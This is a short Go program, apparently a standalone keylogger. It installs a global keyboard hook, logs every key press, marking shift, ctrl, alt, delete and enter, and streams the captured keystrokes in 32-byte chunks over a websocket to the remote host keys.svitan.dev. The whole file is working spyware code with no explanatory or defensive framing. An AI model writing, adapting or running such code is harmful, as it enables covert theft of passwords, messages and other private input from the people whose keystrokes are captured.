package main import ( "net/url" "os" "time" "github.com/gorilla/websocket" hook "github.com/robotn/gohook" ) const ( SHIFT_RAWCODE = 65505 CTRL_RAWCODE = 65507 ALT_RAWCODE = 65513 DEL_KEYCHAR = 8 ENTER_KEYCHAR = 13 REG_START = 32 REG_END = 255 ) var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"} func main() { var conn *websocket.Conn var err error var tries = 0 for { conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil) if err != nil { tries += 1 if tries >= 3 { return } time.Sleep(time.Second) } else { break } } defer conn.Close() go func() { defer os.Exit(0) for { kind, _, err := conn.ReadMessage() if err != nil { return } if kind == websocket.CloseMessage { return } } }() evChan := hook.Start() defer hook.End() buff := make([]byte, 64) for ev := range evChan { switch ev.Rawcode { case SHIFT_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[shift]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[SHIFT]")...) } continue case CTRL_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[ctrl]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[CTRL]")...) } continue case ALT_RAWCODE: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[alt]")...) } else if ev.Kind == hook.KeyUp { buff = append(buff, []byte("[ALT]")...) } continue case DEL_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[del]")...) } continue } switch ev.Keychar { case DEL_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("[del]")...) } continue case ENTER_KEYCHAR: if ev.Kind == hook.KeyDown { buff = append(buff, []byte("\n")...) } continue } if REG_START <= ev.Keychar && ev.Keychar <= REG_END { if ev.Kind == hook.KeyDown { buff = append(buff, byte(ev.Keychar)) } } if len(buff) >= 32 { conn.WriteMessage(websocket.TextMessage, buff[:32]) buff = buff[32:] } } }